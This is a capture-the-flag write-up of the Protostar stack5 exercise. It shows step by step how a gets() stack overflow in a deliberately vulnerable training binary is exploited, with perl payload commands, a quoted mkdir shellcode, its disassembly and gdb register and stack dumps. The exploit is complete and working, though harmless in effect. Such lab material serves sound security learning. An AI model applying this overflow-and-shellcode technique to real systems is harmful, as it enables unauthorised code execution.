Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/stack5
Exploit
Make the program spawn shellcode.
#include <stdlib.h>; #include <unistd.h>; #include <stdio.h>; #include <string.h>; int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
We can see the challenge will be to overflow the stack when gets() is called. We will need to include our shellcode and overwrite EIP to point to the start of the shellcode. We have two challenges, injecting the shellcode and determining the starting address of the shellcode.
First of we have to use the same trick from previous challenges and corrupt the memory stack and using stdin to overflow the variable “buffer” which gets filled using gets().
Let’s see if we can crash the program
user@protostar:~$ perl -e 'print "A"x76'|/opt/protostar/bin/stack5 Segmentation fault
It appears that our data of A’s (0x41) was able to cause a segfault at 76 bytes.
Now we need to decide what shellcode to use. I will use a Linux 32 bit shellcode that is 36 bytes long (more than adequate size). This shellcode can be obtained from http://shell-storm.org/shellcode/files/shellcode-542.php
The shellcode will create the directory “hacked”
/* * This shellcode will do a mkdir() of 'hacked' and then an exit() * Written by zillion@safemode.org * */ char shellcode[]= "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed" "\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68" "\x61\x63\x6b\x65\x64\x23"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
Let’s double check that the shellcode doesn’t have any nasty surprises by running it through ndisasm.
$ echo -e "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" |ndisasm -b 32 - 00000000 EB16 jmp short 0x18 00000002 5E pop esi 00000003 31C0 xor eax,eax 00000005 884606 mov [esi+0x6],al 00000008 B027 mov al,0x27 0000000A 8D1E lea ebx,[esi] 0000000C 66B9ED01 mov cx,0x1ed 00000010 CD80 int 0x80 00000012 B001 mov al,0x1 00000014 31DB xor ebx,ebx 00000016 CD80 int 0x80 00000018 E8E5FFFFFF call dword 0x2 0000001D 6861636B65 push dword 0x656b6361 00000022 64230A and ecx,[fs:edx]
We see a typical jmp call pop sequence for retrieving the string “hacked”=6861636B656423 at location 1D.
We have a syscall int 0x80 0x27 which is mkdir(). Search for x27 at http://syscalls.kernelgrok.com/
A second syscall for 0x1 which exit()
Everything looks kosher.
Let’s replace the A’s which caused the program to crash previously with nops=0x90 + shellcode + remaining A’s. Making sure that the exploit equals 76 bytes in total
user@protostar:~$ perl -e 'print "\x90"x(76-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "A"x4'>stack5_input.txt && gdb /opt/protostar/bin/stack5 GNU gdb (GDB) 7.0.1-debian Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /opt/protostar/bin/stack5...done. (gdb) r < stack5_input.txt Starting program: /opt/protostar/bin/stack5 < stack5_input.txt Program received signal SIGSEGV, Segmentation fault. 0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149 ) at libc-start.c:187 187 libc-start.c: No such file or directory. in libc-start.c (gdb) i r eax 0xbffff7bb -1073743941 ecx 0xbffff730 -1073744080 edx 0xb7fd9334 -1208118476 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff77c 0xbffff77c ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0xb7eadc03 0xb7eadc03 <__libc_start_main+115> eflags 0x210286 [ PF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
We generated the payload using perl to print the output to a file and then we ran the program through gdb and read the payload file.
Something went wrong. We are expecting EIP to contain our 4 bytes of A’s but it does’t.
Let’s try again but this time increase the size of the buffer by 4 bytes (80 bytes).
user@protostar:~$ perl -e 'print "\x90"x(80-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "A"x4'>stack5_input.txt && gdb /opt/protostar/bin/stack5 GNU gdb (GDB) 7.0.1-debian Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /opt/protostar/bin/stack5...done. (gdb) r < stack5_input.txt Starting program: /opt/protostar/bin/stack5 < stack5_input.txt Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0xbffff730 -1073744080 ecx 0xbffff730 -1073744080 edx 0xb7fd9334 -1208118476 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff780 0xbffff780 ebp 0x2364656b 0x2364656b esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x210246 [ PF ZF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Wonderful, EIP contains 0x41414141
We need to replace 0x41414141 with the start of the shellcode memory location.
Let’s discover the memory location by printing out the stack
(gdb) x /90xb $esp-80 0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff758: 0xeb 0x16 0x5e 0x31 0xc0 0x88 0x46 0x06 0xbffff760: 0xb0 0x27 0x8d 0x1e 0x66 0xb9 0xed 0x01 0xbffff768: 0xcd 0x80 0xb0 0x01 0x31 0xdb 0xcd 0x80 0xbffff770: 0xe8 0xe5 0xff 0xff 0xff 0x68 0x61 0x63 0xbffff778: 0x6b 0x65 0x64 0x23 0x41 0x41 0x41 0x41 0xbffff780: 0x00 0x00 0x00 0x00 0x24 0xf8 0xff 0xbf 0xbffff788: 0x2c 0xf8
Looks like the nops start at memory location 0xbffff730
Let’s try again but this time replacing the A’s with 0xbffff730 in reverse byte order 0x30f7ffbf
user@protostar:~$ perl -e 'print "\x90"x(80-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "\x30\xf7\xff\xbf"'>stack5_input.txt && gdb /opt/protostar/bin/stack5 GNU gdb (GDB) 7.0.1-debian Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /opt/protostar/bin/stack5...done. (gdb) r < stack5_input.txt Starting program: /opt/protostar/bin/stack5 < stack5_input.txt Program exited normally.
Looks good.
Check that we have a new directory named “hacked” exists
user@protostar:~$ ls -la drwxr-xr-x 2 user user 40 Jun 29 00:13 hacked -rw-r--r-- 1 user user 80 Jun 29 00:12 stack5_input.txt
Thank you